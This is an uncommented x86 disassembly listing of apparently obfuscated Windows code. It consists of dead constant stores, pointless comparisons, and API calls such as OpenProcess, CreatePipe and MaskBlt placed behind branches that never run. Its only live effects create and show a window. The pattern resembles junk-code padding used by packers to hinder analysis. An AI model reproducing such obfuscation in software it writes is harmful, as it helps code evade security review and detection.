cmp eax, dword [ebp - 0x440]
jge 0x47cc22
mov dword [ebp - 0x1278], 1
jmp 0x47cc29
and dword [ebp - 0x1278], 0
push 2
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1278]
sub ecx, dword [ebp - 0x380]
cmp dword [eax], ecx
je 0x47cc52
mov dword [ebp - 0x2574], 1
jmp 0x47cc59
and dword [ebp - 0x2574], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2fa8], eax
push 0xfffffffffffffffc
pop eax
cmp eax, 0xa08
je 0x47cc78
mov dword [ebp - 0x1280], 1
jmp 0x47cc7f
and dword [ebp - 0x1280], 0
mov eax, dword [ebp - 0x1280]
mov dword [ebp - 0x440], eax
mov esi, dword [ebp - 0x440]
imul esi, dword [ebp - 0x380]
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov eax, dword [eax]
inc eax
cmp eax, esi
jge 0x47ccb6
and dword [ebp - 0x1288], 0
jmp 0x47ccc0
mov dword [ebp - 0x1288], 1
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1288]
mov dword [eax], ecx
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x3388], eax
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x2fb0], eax
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x3668], eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47cd22
cmp dword [ebp - 0x5e4], 0
je 0x47cd22
mov dword [ebp - 0x273c], 1
jmp 0x47cd29
and dword [ebp - 0x273c], 0
mov eax, dword [ebp - 0xa0c]
mov dword [ebp - 0x2fb8], eax
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x5e4]
test eax, eax
je 0x47cd7b
mov dword [ebp - 0x1290], 0xb2a3
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov eax, dword [eax]
mov dword [ebp - 0x1290], eax
mov eax, dword [ebp - 0x1290]
sub eax, 0x34c778c5
neg eax
mov dword [ebp - 0x12e0], eax
jmp 0x47cf90
mov dword [ebp - 0x12f0], 3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2abc]
mov dword [ebp - 0x1298], eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1298]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1298]
sub eax, 0xc47fc0b
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0xd4], 0
je 0x47cdd4
mov dword [ebp - 0x12a0], 1
jmp 0x47cddb
and dword [ebp - 0x12a0], 0
cmp dword [ebp - 0x12a0], 7
jne 0x47cdf0
mov dword [ebp - 0x12a8], 1
jmp 0x47cdf7
and dword [ebp - 0x12a8], 0
mov eax, dword [ebp - 0x378]
add eax, dword [ebp - 0x12a8]
je 0x47ce1a
mov eax, 0xb161ca2e
test eax, eax
je 0x47ce1a
and dword [ebp - 0x12b0], 0
cmp dword [ebp - 0x12b0], 1
jl 0x47ce36
jmp 0x47c6db
mov eax, dword [ebp - 0x1318]
mov dword [ebp - 0x2fc0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2abc], 1
jb 0x47cfbd
mov dword [ebp - 0x1310], 1
jmp 0x47cfc4
and dword [ebp - 0x1310], 0
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0x1310]
jg 0x47cfde
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x1318], eax
mov eax, 0xda5
test eax, eax
jne 0x47cff6
cmp dword [ebp - 0x4c], 0
jne 0x47cff6
and dword [ebp - 0x1320], 0
jmp 0x47d000
mov dword [ebp - 0x1320], 1
push 3
lea ecx, [ebp - 0x5e0]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1320]
cmp ecx, dword [eax]
jg 0x47d023
mov dword [ebp - 0x1328], 1
jmp 0x47d02a
and dword [ebp - 0x1328], 0
mov eax, dword [ebp - 0x1328]
mov dword [ebp - 0x380], eax
lea ecx, [ebp - 0x5e0]
call fcn.00432bdf
mov dword [ebp - 0x3720], 0xd66de6b9
mov dword [ebp - 0x708], 0x2e91a049
mov dword [ebp - 0x708], 0
jmp 0x47d06e
cmp dword [ebp - 0x708], 9
jne 0x47d1a4
mov dword [ebp - 0x710], 0x22124f84
mov dword [ebp - 0x2880], 1
mov dword [ebp - 0x710], 0xfffffff6
jmp 0x47d0a8
cmp dword [ebp - 0x710], 0x13
jg 0x47d19f
mov dword [ebp - 0x4fc], 0xffffffff
mov dword [ebp - 0x4fc], 0
jmp 0x47d0d8
jmp 0x47d061
mov dword [ebp - 0x2fc8], 0x6a6c65b0
mov dword [ebp - 0x388], 0xa48bbca6
mov dword [ebp - 0x2920], 0x2301355f
mov dword [ebp - 0x291c], 0x2301355f
mov dword [ebp - 0x2918], 0x2301355f
mov dword [ebp - 0x2914], 0x2301355f
mov dword [ebp - 0x728], 0xfffffffd
mov dword [ebp - 0x258c], 0xddb2097e
mov dword [ebp - 0x2800], 3
mov dword [ebp - 0x388], 0xffffffeb
jmp 0x47d217
cmp dword [ebp - 0x388], 0xffffffe6
je 0x47d4df
mov dword [ebp - 0x390], 6
mov dword [ebp - 0x270], 0x9a130dfd
mov dword [ebp - 0x1350], 0x1ffb
mov dword [ebp - 0x390], 0
jmp 0x47d25b
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2920], 0xfffffff8
mov dword [ebp - 0x2800], 0xfffffff8
mov dword [ebp - 0x2fe8], 0xfffffff9
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x398], 0xeea53061
mov dword [ebp - 0x33c8], 0xe848967
mov byte [ebp - 0x408], 0
movzx eax, byte [ebp - 0x408]
test eax, eax
je 0x47d542
mov dword [ebp - 0x594], 0x82062403
mov byte [ebp - 0x349], 0
movzx eax, byte [ebp - 0x349]
test eax, eax
je 0x4832b9
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov dword [ebp - 0x594], 0xffffffe5
jmp 0x4832d2
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 0x10
jle 0x4832f3
mov dword [ebp - 0x26bc], 8
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x26bc], eax
jmp 0x4832c5
mov dword [ebp - 0x2a0], 0x469ad59e
mov dword [ebp - 0x2840], 0xfffffff9
push 2
lea ecx, [ebp - 0x2d7c]
call fcn.00432b0d
mov dword [ebp - 0x236c], 0xffffffff
mov dword [ebp - 0x84], 0
jmp 0x483337
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x483353
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x8c4], 1
jmp 0x48332a
mov dword [ebp - 0x84], 0
jmp 0x48336c
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jge 0x483388
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x34f4], 0
jmp 0x48335f
mov dword [ebp - 0x84], 0
jmp 0x4833a1
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x4833c3
push dword [ebp - 0x84]
lea ecx, [ebp - 0x2d7c]
call fcn.00432bfb
mov dword [eax], 0x63b0a6d0
jmp 0x483394
mov byte [ebp - 0x3eb], 0
movzx eax, byte [ebp - 0x3eb]
test eax, eax
je 0x4833ee
push 0x94
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
mov dword [ebp - 0x2a0], 0
jmp 0x483407
mov eax, dword [ebp - 0x2a0]
dec eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
jl 0x483571
mov dword [ebp - 0xd7c], 0xffffffff
mov dword [ebp - 0xaf4], 0xffffffff
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x34f8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8c4]
neg eax
mov dword [ebp - 0x2840], eax
cmp dword [ebp - 0xd7c], 0x1b1
jg 0x483461
mov dword [ebp - 0xd5c], 1
jmp 0x483468
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0xd5c]
mov dword [ebp - 0xaf4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x34f4]
cmp dword [ebp - 0xaf4], eax
jl 0x48349a
mov eax, 0xbc42
test eax, eax
jne 0x48349a
and dword [ebp - 0xd64], 0
jmp 0x4834a4
mov dword [ebp - 0xd64], 1
cmp dword [ebp - 0xd64], 0xc910
jge 0x4834bc
mov dword [ebp - 0xd6c], 1
jmp 0x4834c3
and dword [ebp - 0xd6c], 0
mov eax, dword [ebp - 0x2a0]
mov eax, dword [ebp + eax*4 - 0x8c4]
cmp eax, dword [ebp - 0xd6c]
je 0x4834e4
mov dword [ebp - 0xd74], 1
jmp 0x4834eb
and dword [ebp - 0xd74], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x34f4]
cmp dword [ebp - 0xd74], eax
jg 0x48351b
cmp dword [ebp - 0xaf4], 0
jne 0x48351b
cmp dword [ebp - 0xd7c], 0
jne 0x48351b
and dword [ebp - 0x2368], 0
jmp 0x483525
mov dword [ebp - 0x2368], 1
mov eax, dword [ebp - 0x2a0]
mov eax, dword [ebp + eax*4 - 0x8c4]
mov dword [ebp - 0x3120], eax
mov eax, dword [ebp - 0x2a0]
mov eax, dword [ebp + eax*4 - 0x8c4]
mov dword [ebp - 0xd84], eax
push 0
lea ecx, [ebp - 0x2d7c]
call fcn.00432bfb
mov ecx, dword [ebp - 0xd84]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd84]
mov dword [ebp - 0x236c], eax
jmp 0x4833fa
lea ecx, [ebp - 0x2d7c]
call fcn.00432bdf
mov dword [ebp - 0x3774], 0xfffffffa
mov dword [ebp - 0xd8c], 0
mov dword [ebp - 0x3128], 0x51dba339
mov dword [ebp - 0x3508], 0xa5043c4a
mov dword [ebp - 0x3130], 0x90edcad2
push 1
lea ecx, [ebp - 0x3504]
call fcn.00432b0d
mov dword [ebp - 0xd94], 4
mov dword [ebp - 0x8cc], 0
jmp 0x4835de
mov eax, dword [ebp - 0x8cc]
inc eax
mov dword [ebp - 0x8cc], eax
cmp dword [ebp - 0x8cc], 1
jge 0x483600
push dword [ebp - 0x8cc]
lea ecx, [ebp - 0x3504]
call fcn.00432bfb
mov dword [eax], 0x85c9e53e
jmp 0x4835d1
mov eax, dword [ebp - 0xd8c]
inc eax
mov dword [ebp - 0xd8c], eax
mov eax, dword [ebp - 0xd94]
dec eax
mov dword [ebp - 0xd94], eax
lea ecx, [ebp - 0x3504]
call fcn.00432bdf
xor ecx, ecx
call fcn.00432e78
push eax
call fcn.00487ea3
pop ecx
mov dword [ebp - 0x36c8], 0
mov dword [ebp - 0x3138], 0xe1e87df2
mov dword [ebp - 0x3518], 0
mov dword [ebp - 0x3140], 0xfffffff8
mov dword [ebp - 0x377c], 0x7d65121a
mov dword [ebp - 0x3148], 0x94b4b132
mov dword [ebp - 0x3528], 0xeb32a831
mov dword [ebp - 0x3150], 0xffffffff
mov dword [ebp - 0x36d0], 0x3ee7
mov dword [ebp - 0xd9c], 0x4957
mov dword [ebp - 0x1d8], 0
jmp 0x4836b0
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 3
jge 0x4836cc
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x3a28], 0xfffffffd
jmp 0x4836a3
mov dword [ebp - 0x1d8], 0
jmp 0x4836e5
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 1
jge 0x483701
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x3158], 0x96b779c6
jmp 0x4836d8
mov eax, dword [ebp - 0xd9c]
dec eax
mov dword [ebp - 0xd9c], eax
mov dword [ebp - 0x2a8], 0xfffffff8
mov dword [ebp - 0xdac], 0x864896e6
push 3
lea ecx, [ebp - 0x2d94]
call fcn.00432b0d
mov dword [ebp - 0x8d4], 0
jmp 0x483748
mov eax, dword [ebp - 0x8d4]
inc eax
mov dword [ebp - 0x8d4], eax
cmp dword [ebp - 0x8d4], 3
jge 0x48376a
push dword [ebp - 0x8d4]
lea ecx, [ebp - 0x2d94]
call fcn.00432bfb
mov dword [eax], 0xb051af7f
jmp 0x48373b
mov byte [ebp - 0x351], 0
movzx eax, byte [ebp - 0x351]
test eax, eax
je 0x48379a
push 0x1568
push 0x1a91
push 0
push 0
push 0x98
push 0x801
call dword [sym.imp.USER32.dll_ToUnicode]
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0x2a8], eax
jle 0x4837b4
mov dword [ebp - 0xda4], 1
jmp 0x4837bb
and dword [ebp - 0xda4], 0
mov eax, dword [ebp - 0xda4]
sub eax, dword [ebp - 0x2a8]
imul eax, dword [ebp - 0x2a8]
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x3538], eax
mov eax, dword [ebp - 0xdac]
mov dword [ebp - 0x3160], eax
cmp dword [ebp - 0x2a8], 3
ja 0x483801
mov dword [ebp - 0xdb4], 1
jmp 0x483808
and dword [ebp - 0xdb4], 0
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0xdb4], eax
jl 0x483822
mov dword [ebp - 0xdbc], 1
jmp 0x483829
and dword [ebp - 0xdbc], 0
cmp dword [ebp - 0xdbc], 8
jne 0x48383e
mov dword [ebp - 0xdc4], 1
jmp 0x483845
and dword [ebp - 0xdc4], 0
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0xdc4], eax
jl 0x483865
mov eax, 0xfffc
test eax, eax
jne 0x483865
and dword [ebp - 0xdcc], 0
jmp 0x48386f
mov dword [ebp - 0xdcc], 1
push 0
lea ecx, [ebp - 0x2d94]
call fcn.00432bfb
mov ecx, dword [ebp - 0xdcc]
mov dword [eax], ecx
lea ecx, [ebp - 0x2d94]
call fcn.00432bdf
mov dword [ebp - 0x3d0], 0xa48bbca6
mov dword [ebp - 0x2940], 0x2301355f
mov dword [ebp - 0x293c], 0x2301355f
mov dword [ebp - 0x2938], 0x2301355f
mov dword [ebp - 0x2934], 0x2301355f
mov dword [ebp - 0x8e4], 0xfffffffd
mov dword [ebp - 0x2384], 0xddb2097e
mov dword [ebp - 0x238c], 3
mov dword [ebp - 0x3d0], 0xffffffeb
jmp 0x4838f8
mov eax, dword [ebp - 0x3d0]
dec eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0xffffffe6
je 0x483bc0
mov dword [ebp - 0x3d8], 6
mov dword [ebp - 0x2b0], 0x9a130dfd
mov dword [ebp - 0xdf4], 0x1ffb
mov dword [ebp - 0x3d8], 0
jmp 0x48393c
mov eax, dword [ebp - 0x3d8]
dec eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0xfffffff9
jge 0x483adf
mov dword [ebp - 0x8dc], 0x2a8d3a18
mov dword [ebp - 0x2bfc], 1
mov dword [ebp - 0x2bf8], 1
mov dword [ebp - 0x2bf4], 1
mov dword [ebp - 0x2bf0], 1
lea ecx, [ebp - 0xbc5]
call fcn.00432c0a
push eax
lea eax, [ebp - 0x2bec]
push eax
lea eax, [ebp - 0x2bfc]
push eax
lea ecx, [ebp - 0x395c]
call fcn.00432c0d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2dac]
call fcn.00432bb9
mov eax, dword [ebp - 0x8dc]
mov dword [ebp - 0x3778], eax
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x3168], eax
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x3548], eax
mov eax, dword [ebp - 0x8dc]
cmp dword [ebp - 0x8dc], eax
jl 0x4839ee
mov dword [ebp - 0xafc], 1
jmp 0x4839f5
and dword [ebp - 0xafc], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xafc]
mov dword [ebp + eax - 0x2940], ecx
mov eax, dword [ebp - 0xafc]
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x14b5
jle 0x483a2c
mov dword [ebp - 0xdd4], 1
jmp 0x483a33
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0xdd4]
sub eax, dword [ebp - 0x8dc]
cmp eax, 0xca77
jl 0x483a52
mov dword [ebp - 0xddc], 1
jmp 0x483a59
and dword [ebp - 0xddc], 0
mov eax, dword [ebp - 0x3d0]
cmp dword [ebp - 0xddc], eax
jl 0x483a73
mov dword [ebp - 0xde4], 1
jmp 0x483a7a
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0xde4]
mov dword [ebp - 0x8e4], eax
mov eax, dword [ebp - 0x3d0]
cmp dword [ebp - 0x8e4], eax
jge 0x483aa0
mov dword [ebp - 0xdec], 1
jmp 0x483aa7
and dword [ebp - 0xdec], 0
push 2
lea ecx, [ebp - 0x2dac]
call fcn.00432bfb
mov ecx, dword [ebp - 0xdec]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x2dac]
call fcn.00432bfb
mov dword [eax], 0xc5706b37
lea ecx, [ebp - 0x2dac]
call fcn.00432bdf
jmp 0x48392f
cmp dword [ebp - 0x2b0], 0
jne 0x483aef
cmp dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x2b0]
cmp dword [ebp - 0x3d8], eax
jg 0x483b09
mov dword [ebp - 0x2374], 1
jmp 0x483b10
and dword [ebp - 0x2374], 0
mov eax, dword [ebp - 0x8e4]
mov dword [ebp - 0x3170], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2940]
mov dword [ebp - 0x36d8], eax
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x3178], eax
cmp dword [ebp - 0xdf4], 7
jbe 0x483b50
mov dword [ebp - 0xdfc], 1
jmp 0x483b57
and dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0xdf4]
imul eax, dword [ebp - 0xdfc]
cmp dword [ebp - 0x8e4], eax
jg 0x483b78
mov dword [ebp - 0x237c], 1
jmp 0x483b7f
and dword [ebp - 0x237c], 0
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x3558], eax
mov eax, dword [ebp - 0x2b0]
sub eax, dword [ebp - 0x2384]
cmp eax, 2
je 0x483ba8
mov dword [ebp - 0xe04], 1
jmp 0x483baf
and dword [ebp - 0xe04], 0
mov eax, dword [ebp - 0xe04]
mov dword [ebp - 0x2b0], eax
jmp 0x4838eb
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2940], 0xfffffff8
mov dword [ebp - 0x238c], 0xfffffff8
mov dword [ebp - 0x488], 0xa75c
mov dword [ebp - 0x28c4], 0xfffffffd
mov dword [ebp - 0x28c0], 0xfffffffd
mov dword [ebp - 0x28bc], 0xfffffffd
mov dword [ebp - 0x28b8], 0xfffffffd
mov dword [ebp - 0xe34], 0x5537
cmp dword [ebp - 0x488], 0
je 0x483da1
mov dword [ebp - 0x8ec], 8
mov byte [ebp - 0x3ed], 0
movzx eax, byte [ebp - 0x3ed]
test eax, eax
je 0x483c4f
push 0x5bc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 0x488], 0
jmp 0x483c68
mov eax, dword [ebp - 0x488]
inc eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 3
jg 0x483d9f
mov dword [ebp - 0x3e0], 0x4ea6801f
mov dword [ebp - 0x3e0], 0
jmp 0x483c98
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 4
jge 0x483cb4
mov eax, dword [ebp - 0x3e0]
mov dword [ebp + eax*4 - 0x28c4], 0xeee2fde2
jmp 0x483c8b
cmp dword [ebp - 0x8ec], 0
jne 0x483d45
cmp dword [ebp - 0x3e0], 0
je 0x483d27
cmp dword [ebp - 0x8ec], 1
jle 0x483ce8
cmp dword [ebp - 0x8ec], 0
je 0x483ce8
mov dword [ebp - 0xe0c], 1
jmp 0x483cef
and dword [ebp - 0xe0c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xe0c]
sub ecx, dword [ebp + eax - 0x28c4]
je 0x483d27
cmp dword [ebp - 0x3e0], 0
je 0x483d27
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x28c4], 0
je 0x483d27
mov dword [ebp - 0xe14], 1
jmp 0x483d2e
and dword [ebp - 0xe14], 0
mov eax, dword [ebp - 0xe14]
sub eax, dword [ebp - 0x8ec]
jne 0x483d45
and dword [ebp - 0xe1c], 0
jmp 0x483d4f
mov dword [ebp - 0xe1c], 1
cmp dword [ebp - 0xe1c], 1
jl 0x483d64
mov dword [ebp - 0xe24], 1
jmp 0x483d6b
and dword [ebp - 0xe24], 0
cmp dword [ebp - 0xe24], 6
jne 0x483d80
mov dword [ebp - 0xe2c], 1
jmp 0x483d87
and dword [ebp - 0xe2c], 0
mov eax, dword [ebp - 0x488]
mov ecx, dword [ebp - 0xe2c]
mov dword [ebp + eax*4 - 0x28c4], ecx
jmp 0x483c5b
jmp 0x483dc5
mov byte [ebp - 0x359], 0
movzx eax, byte [ebp - 0x359]
test eax, eax
je 0x483dc5
push 0x1b54
push 0
push 0x7ce
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [ebp - 0xe34]
dec eax
mov dword [ebp - 0xe34], eax
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xa9eefc
push 0xa9eefc
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xb0c], eax
mov dword [ebp - 0x148], 0xffffffff
mov dword [ebp - 0xe5c], 0
mov dword [ebp - 0xe7c], 0xfffffff8
mov dword [ebp - 0xb04], 0x377d6446
mov dword [ebp - 0x239c], 0xffffffff
push 1
lea ecx, [ebp - 0x3514]
call fcn.00432b0d
mov dword [ebp - 0x8f4], 0
jmp 0x483e5d
mov eax, dword [ebp - 0x8f4]
inc eax
mov dword [ebp - 0x8f4], eax
cmp dword [ebp - 0x8f4], 1
jge 0x483e7f
push dword [ebp - 0x8f4]
lea ecx, [ebp - 0x3514]
call fcn.00432bfb
mov dword [eax], 0xb818
jmp 0x483e50
cmp dword [ebp - 0x148], 0
je 0x483f7a
mov eax, dword [ebp - 0x148]
add eax, 0x8bc0
imul eax, dword [ebp - 0x148]
test eax, eax
jne 0x483eb4
mov eax, 0x8172
test eax, eax
jne 0x483eb4
and dword [ebp - 0xe3c], 0
jmp 0x483ebe
mov dword [ebp - 0xe3c], 1
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0xe3c]
cmp eax, 0xae4f78d7
jne 0x483ede
mov dword [ebp - 0xe44], 1
jmp 0x483ee5
and dword [ebp - 0xe44], 0
cmp dword [ebp - 0xe44], 0xb012
jge 0x483efd
mov dword [ebp - 0xe4c], 1
jmp 0x483f04
and dword [ebp - 0xe4c], 0
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0xe4c], eax
jg 0x483f1e
mov dword [ebp - 0xe54], 1
jmp 0x483f25
and dword [ebp - 0xe54], 0
mov eax, dword [ebp - 0xe54]
mov dword [ebp - 0xe5c], eax
cmp dword [ebp - 0xe5c], 0xb15d
je 0x483f52
cmp dword [ebp - 0x148], 0
je 0x483f52
mov dword [ebp - 0x2394], 1
jmp 0x483f59
and dword [ebp - 0x2394], 0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x3180], eax
cmp dword [ebp - 0x148], 0
je 0x483f7a
mov dword [ebp - 0xe64], 1
jmp 0x483f81
and dword [ebp - 0xe64], 0
cmp dword [ebp - 0xe64], 4
jne 0x483f96
mov dword [ebp - 0xe6c], 1
jmp 0x483f9d
and dword [ebp - 0xe6c], 0
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0xe6c]
jle 0x483fb7
mov dword [ebp - 0xe74], 1
jmp 0x483fbe
and dword [ebp - 0xe74], 0
mov eax, dword [ebp - 0xe74]
mov dword [ebp - 0xe7c], eax
mov eax, dword [ebp - 0xe7c]
add eax, dword [ebp - 0x148]
cmp eax, 0xf300
je 0x483fe9
mov dword [ebp - 0xe84], 1
jmp 0x483ff0
and dword [ebp - 0xe84], 0
mov eax, dword [ebp - 0xe84]
mov dword [ebp - 0xb04], eax
mov dword [ebp - 0xb04], 0xf6a191a8
mov eax, dword [ebp - 0xb04]
mov dword [ebp - 0x239c], eax
lea ecx, [ebp - 0x3514]
call fcn.00432bdf
push 5
push dword [ebp - 0xb0c]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x3e8], 1
mov dword [ebp - 0x490], 0x836ccb03
push 2
lea ecx, [ebp - 0x2a28]
call fcn.00432b0d
mov dword [ebp - 0x8fc], 0
jmp 0x484065
mov eax, dword [ebp - 0x8fc]
inc eax
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 2
jge 0x484087
push dword [ebp - 0x8fc]
lea ecx, [ebp - 0x2a28]
call fcn.00432bfb
mov dword [eax], 1
jmp 0x484058
imul eax, dword [ebp - 0x3e8], 0
mov dword [ebp - 0x490], eax
mov eax, dword [ebp - 0x3e8]
dec eax
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e8], 0
jmp 0x4840ba
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 1
jg 0x4842a2
mov dword [ebp - 0xeb4], 0x939f
mov byte [ebp - 0x3ef], 0
movzx eax, byte [ebp - 0x3ef]
test eax, eax
je 0x4840f4
push 0xd89
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x490], 0
jmp 0x48410d
mov eax, dword [ebp - 0x490]
inc eax
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 1
jg 0x48429d
mov dword [ebp - 0x59c], 0xfffffff7
mov dword [ebp - 0xe8c], 0x55a44198
mov dword [ebp - 0xea4], 0xf8b4dfec
mov byte [ebp - 0x361], 0
movzx eax, byte [ebp - 0x361]
test eax, eax
je 0x48419b
push 0x499
push 0xc6
push 0x265d
push 0
push 0x16c6
push 0x2529
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xc50
push 0x10ad
push 0x8a8
push 0xe18
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
mov dword [ebp - 0x59c], 0
jmp 0x4841b4
mov eax, dword [ebp - 0x59c]
inc eax
mov dword [ebp - 0x59c], eax
cmp dword [ebp - 0x59c], 1
jg 0x484298
mov dword [ebp - 0x23a4], 0xfffffffd
mov dword [ebp - 0xe8c], 0xffffffff
mov esi, dword [ebp - 0xe8c]
neg esi
push 1
lea ecx, [ebp - 0x2a28]
call fcn.00432bfb
cmp dword [eax], esi
jle 0x4841fa
mov dword [ebp - 0xe94], 1
jmp 0x484201
and dword [ebp - 0xe94], 0
mov eax, dword [ebp - 0xeb4]
cmp eax, dword [ebp - 0xe94]
jne 0x48421b
mov dword [ebp - 0xe9c], 1
jmp 0x484222
and dword [ebp - 0xe9c], 0
push dword [ebp - 0x490]
lea ecx, [ebp - 0x2a28]
call fcn.00432bfb
mov eax, dword [eax]
imul eax, dword [ebp - 0xe9c]
mov dword [ebp - 0xea4], eax
mov eax, dword [ebp - 0x59c]
cmp dword [ebp - 0xea4], eax
je 0x48425c
mov dword [ebp - 0xeac], 1
jmp 0x484263
and dword [ebp - 0xeac], 0
mov eax, dword [ebp - 0xeac]
sub eax, dword [ebp - 0xeb4]
cmp eax, 1
jne 0x484280
mov dword [ebp - 0xebc], 1
jmp 0x484287
and dword [ebp - 0xebc], 0
mov eax, dword [ebp - 0xebc]
mov dword [ebp - 0x23a4], eax
jmp 0x4841a7
jmp 0x484100
jmp 0x4840ad
lea ecx, [ebp - 0x2a28]
call fcn.00432bdf
push dword [ebp - 0xb0c]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x5a4], 1
mov dword [ebp - 0xf3c], 0xfcf62392
mov dword [ebp - 0x23b4], 4
mov dword [ebp - 0x904], 0
jmp 0x4842f7
mov eax, dword [ebp - 0x904]
inc eax
mov dword [ebp - 0x904], eax
cmp dword [ebp - 0x904], 2
jge 0x484313
mov eax, dword [ebp - 0x904]
mov dword [ebp + eax*4 - 0x184], 0x871c7bf0
jmp 0x4842ea
mov eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov dword [ebp - 4], 0
jmp 0x484329
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jg 0x4847ee
mov dword [ebp - 0x1fc0], 1
mov dword [ebp - 0x1fbc], 1
mov dword [ebp - 0x1fb8], 1
mov dword [ebp - 0x1fb4], 1
mov dword [ebp - 0x25c], 0xf885bd5
mov eax, dword [ebp - 4]
